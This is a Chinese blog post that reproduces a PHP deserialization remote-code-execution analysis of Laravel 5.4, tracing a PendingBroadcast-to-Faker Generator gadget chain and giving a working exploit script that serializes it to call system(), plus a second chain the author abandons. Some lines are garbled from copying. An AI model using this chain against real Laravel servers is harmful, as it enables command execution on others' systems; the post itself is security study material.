laravel 5.4 RCE分析(2条链)

在此之前看过其他师傅的审计文章,看完之后自己跟着复现(虽然都是5.4版本,但是有些地方代码依然不一样,导致部分链子并未完全复现成功,有兴趣的可以自己看文章自己尝试)

第一条链子(成功):_call

找到destruct函数:
在这里插入图片描述
跟进一下这几个参数:
首先是events:
在这里插入图片描述
发现events是可控的
在这里插入图片描述
event同样可控,再跟进一下dispatch函数
在这里插入图片描述
很多地方都定义了function dispatch 函数
再来看一下我们的入口点__destruct()函数:有两个思路:第一个是调用_call方法,看看能不能调用方法进行命令执行。第二个方法是再dispatch函数里面去寻找可以命令执行的函数

 public function __destruct()
    {
        $this->events->dispatch($this->event);
    }

思路:从__call方法入手寻找链子:
在这里插入图片描述
__call方法有很多,这里采用很多师傅都使用的Faker里面的__call方法:
跟进一下具体参数:
在这里插入图片描述
这里看见了call_user_func_ayyry函数,联想到我们可以调用内置的system函数进行命令执行,getFormatter()方法里面存在return,可以返回值
那么接下来的一步就是去看这里存在的变量,我们是否可控,如果可控,那就直接一把梭哈。

可以发现:$formatter, $arguments 都是没有被定义过的,都是我们实际传入的,那么整理一下思路:

1.首先调用__destruct方法:
t h i s − > e v e n t s − > d i s p a t c h ( this->events->dispatch( this>events>dispatch(this->event);
2.调用_call方法:
t h i s − > f o r m a t ( this->format( this>format(method, $attributes)
3.调用format方法:

	 public function format($formatter, $arguments = array())
    {
        return call_user_func_array($this->getFormatter($formatter), $arguments);
    }

4.通过call_user_func_array调用system方法实现RCE
具体参数可控我们下面再说:
这里借用firebasky师傅文章里面的图:
在这里插入图片描述这里有个地方困扰了我一下,看WP的时候没有看懂 这里特意截图出来

在这里插入图片描述
EXP:

<?php

namespace Illuminate\Broadcasting
{
    class PendingBroadcast
    {
        protected $events;
        protected $event;

        function __construct($events, $cmd)
        {
            $this->events = $events;
            $this->event = $cmd;
        }
    }
}
namespace Faker
{
    class Generator
    {
        protected $formatters;

        function __construct($function)
        {
            $this->formatters = ['dispatch' => $function];
        }
    }
}
namespace{
    $a = new Faker\Generator('system');
    $b = new Illuminate\Broadcasting\PendingBroadcast($a,'dir');
    echo urlencode(serialize($b));
}

第二条链子(未成功):_call

依然是从_call方法入手,只不过是调用了不同的call方法:vendor\laravel\framework\src\Illuminate\Validation\Validator.php
在这里插入图片描述

看见这个_call方法我们需要分析一下:rule的值可控,如果不能进入if,那么这个_call方法对我们来说一无用处。再来看看if里面的callExtension方法对我们是否有用如果没用那么我们进入了if也是白进入
在这里插入图片描述
存在call_usr_func_arry,极大可达是我们的利用点,查看一下如何进入if:
判断一个对象是否是某个类的实例

<?php
$obj = new A();
if ($obj instanceof A) {
  echo 'A';
}//echo A;

而这里我们的$callback内容很明显是一个字符串,没有办法实例化Closure,因此这个办法行不通。
再去看一下callClassBasedExtension方法是否可行:

   protected function callClassBasedExtension($callback, $parameters)
    {
        list($class, $method) = Str::parseCallback($callback, 'validate');

        return call_user_func_array([$this->container->make($class), $method], $parameters);
    }




  public static function parseCallback($callback, $default = null)
    {
        return static::contains($callback, '@') ? explode('@', $callback, 2) : [$callback, $default];
    }

看了一下,遂放弃。
与原WP不同的地方在于:
在这里插入图片描述原WP调用call_suer_cunf_arry的if是 is_callable,而我这里是instanceof,遂放弃

还有2条链子是dispatch方法,目前没怎么看,后面会进行补充。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值